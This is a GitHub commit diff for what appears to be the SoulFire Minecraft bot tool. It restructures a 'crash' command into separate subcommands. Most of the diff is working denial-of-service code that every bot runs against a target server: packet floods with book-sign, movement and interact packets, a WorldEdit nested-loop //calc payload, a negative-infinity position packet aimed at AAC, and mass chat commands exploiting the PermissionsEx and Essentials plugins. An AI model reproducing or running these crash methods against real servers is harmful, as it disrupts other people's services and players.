Skip to content

Commit

Permalink
Properly implement commands in brigadier
Browse files Browse the repository at this point in the history
  • Loading branch information
@AlexProgrammerDE
AlexProgrammerDE committed Feb 18, 2024
1 parent dada883 commit 1c6f55a
Showing 1 changed file with 173 additions and 132 deletions.
305 changes: 173 additions & 132 deletions src/main/java/net/pistonmaster/soulfire/server/ServerCommandManager.java
View file
Original file line number Diff line number Diff line change
Expand Up @@ -508,144 +508,185 @@ public void postConstruct() {
dispatcher.register(
literal("crash")
.then(
argument("method", StringArgumentType.greedyString())
literal("book")
.executes(
help(
"Attempts to crash the server",
"Attempts to crash the server with a book",
c -> {
var method = StringArgumentType.getString(c, "method");
log.info("Attempting to crash the server with a book");

log.info("Attempting to crash the server with method: {}", method);
try {
var data = Files.readAllBytes(Path.of("book.cap"));
var packet = new ServerboundCustomPayloadPacket("MC|BSign", data);
return forEveryBot(
c,
(bot) -> {
for (var i = 0; i < 150; i++) {
bot.sessionDataManager().sendPacket(packet);
}
return Command.SINGLE_SUCCESS;
});
} catch (IOException e) {
log.error("Failed to read book.cap", e);
return 1;
}
})))
.then(
literal("calc")
.executes(
help(
"Attempts to crash the server with a calculation",
c -> {
log.info("Attempting to crash the server with a calculation");

return forEveryBot(
c,
(bot) -> {
bot.botControl()
.sendMessage(
"//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}");
return Command.SINGLE_SUCCESS;
});
})))
.then(
literal("fly")
.executes(
help(
"Attempts to crash the server with flying",
c -> {
log.info("Attempting to crash the server with flying");

return forEveryBot(
c,
(bot) -> {
var botX = bot.sessionDataManager().clientEntity().x();
var botY = bot.sessionDataManager().clientEntity().y();
var botZ = bot.sessionDataManager().clientEntity().z();

while (botY < 256) {
botY += 9;
var packet =
new ServerboundMovePlayerPosPacket(
true, botX, botY, botZ);
bot.sessionDataManager().sendPacket(packet);
}

for (var i = 0; i < 10000; i++) {
botX += 9;
var packet =
new ServerboundMovePlayerPosPacket(
true, botX, botY, botZ);
bot.sessionDataManager().sendPacket(packet);
}

return Command.SINGLE_SUCCESS;
});
})))
.then(
literal("sleep")
.executes(
help(
"Attempts to crash the server with sleeping",
c -> {
log.info("Attempting to crash the server with sleeping");

return forEveryBot(
c,
(bot) -> {

return switch (method) {
case "book" -> {
try {
var data = Files.readAllBytes(Path.of("book.cap"));
// TODO: 17/02/2024 check if there is a specific packet for
// leaving bed
var packet =
new ServerboundCustomPayloadPacket("MC|BSign", data);
forEveryBot(
c,
(bot) -> {
for (var i = 0; i < 150; i++) {
bot.sessionDataManager().sendPacket(packet);
}
return Command.SINGLE_SUCCESS;
});
} catch (IOException e) {
log.error("Failed to read book.cap", e);
}
yield Command.SINGLE_SUCCESS;
}
case "calc" -> {
forEveryBot(
c,
(bot) -> { // Work
bot.botControl()
.sendMessage(
"//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}");
return Command.SINGLE_SUCCESS;
});
yield Command.SINGLE_SUCCESS;
}
case "fly" -> {
forEveryBot(
c,
(bot) -> {
var botX = bot.sessionDataManager().clientEntity().x();
var botY = bot.sessionDataManager().clientEntity().y();
var botZ = bot.sessionDataManager().clientEntity().z();

while (botY < 256) {
botY += 9;
var packet =
new ServerboundMovePlayerPosPacket(
true, botX, botY, botZ);
bot.sessionDataManager().sendPacket(packet);
}

for (var i = 0; i < 10000; i++) {
botX += 9;
var packet =
new ServerboundMovePlayerPosPacket(
true, botX, botY, botZ);
bot.sessionDataManager().sendPacket(packet);
}

return Command.SINGLE_SUCCESS;
});
yield Command.SINGLE_SUCCESS;
}
case "sleep" -> {
forEveryBot(
c,
(bot) -> {
// TODO: 17/02/2024 check if there is a specific packet for
// leaving bed
var packet =
new ServerboundInteractPacket(
bot.sessionDataManager().clientEntity().entityId(),
InteractAction.INTERACT,
Hand.MAIN_HAND,
false);

for (var i = 0; i < 2000; i++) {
bot.sessionDataManager().sendPacket(packet);
}

return Command.SINGLE_SUCCESS;
});
yield Command.SINGLE_SUCCESS;
}
case "permissionsex" -> { // Work
forEveryBot(
c,
(bot) -> {
bot.botControl().sendMessage("/promote * a");
return Command.SINGLE_SUCCESS;
});
yield Command.SINGLE_SUCCESS;
}
case "aac" -> {
// TODO: 17/02/2024 find old version of AAC crack to test
var packet =
new ServerboundMovePlayerPosPacket(
true,
Double.NEGATIVE_INFINITY,
Double.NEGATIVE_INFINITY,
Double.NEGATIVE_INFINITY);
forEveryBot(
c,
(bot) -> {
bot.sessionDataManager().sendPacket(packet);
return Command.SINGLE_SUCCESS;
});
yield Command.SINGLE_SUCCESS;
}
case "essentials" -> {
forEveryBot(
c,
(bot) -> {
bot.botControl().sendMessage("/pay * a a");
return Command.SINGLE_SUCCESS;
});
yield Command.SINGLE_SUCCESS;
}
case "anvil" -> {
// try damage 3 and 16384
log.error("Anvil crash not implemented yet!");
yield Command.SINGLE_SUCCESS;
}
case "chest" -> {
// create huge NBT data on chest and place the most possible chest
// to "crash" the area
log.error("Chest crash not implemented yet!");
yield Command.SINGLE_SUCCESS;
}
default -> {
log.error("Unknown crash method: {}", method);
yield Command.SINGLE_SUCCESS;
}
};
new ServerboundInteractPacket(
bot.sessionDataManager().clientEntity().entityId(),
InteractAction.INTERACT,
Hand.MAIN_HAND,
false);

for (var i = 0; i < 2000; i++) {
bot.sessionDataManager().sendPacket(packet);
}

return Command.SINGLE_SUCCESS;
});
})))
.then(
literal("permissionsex")
.executes(
help(
"Attempts to crash the server with Permissionsex",
c -> {
log.info("Attempting to crash the server with Permissionsex");

return forEveryBot(
c,
(bot) -> {
bot.botControl().sendMessage("/promote * a");
return Command.SINGLE_SUCCESS;
});
})))
.then(
literal("aac")
.executes(
help(
"Attempts to crash the server with AAC",
c -> {
log.info("Attempting to crash the server with AAC");
// TODO: 17/02/2024 find old version of AAC crack to test
var packet =
new ServerboundMovePlayerPosPacket(
true,
Double.NEGATIVE_INFINITY,
Double.NEGATIVE_INFINITY,
Double.NEGATIVE_INFINITY);
return forEveryBot(
c,
(bot) -> {
bot.sessionDataManager().sendPacket(packet);
return Command.SINGLE_SUCCESS;
});
})))
.then(
literal("essentials")
.executes(
help(
"Attempts to crash the server with Essentials",
c -> {
log.info("Attempting to crash the server with Essentials");

return forEveryBot(
c,
(bot) -> {
bot.botControl().sendMessage("/pay * a a");
return Command.SINGLE_SUCCESS;
});
})))
.then(
literal("anvil")
.executes(
help(
"Attempts to crash the server with an anvil",
c -> {
log.info("Attempting to crash the server with an anvil");

log.error("Anvil crash is not implemented yet!");

// try damage 3 and 16384
return Command.SINGLE_SUCCESS;
})))
.then(
literal("chest")
.executes(
help(
"Attempts to crash the server with a chest",
c -> {
log.info("Attempting to crash the server with a chest");

log.error("Chest crash is not implemented yet!");

// create huge NBT data on chest and place the most possible chest
// to "crash" the area
return Command.SINGLE_SUCCESS;
}))));

SoulFireAPI.postEvent(new DispatcherInitEvent(dispatcher));
Expand Down

0 comments on commit 1c6f55a

Please sign in to comment.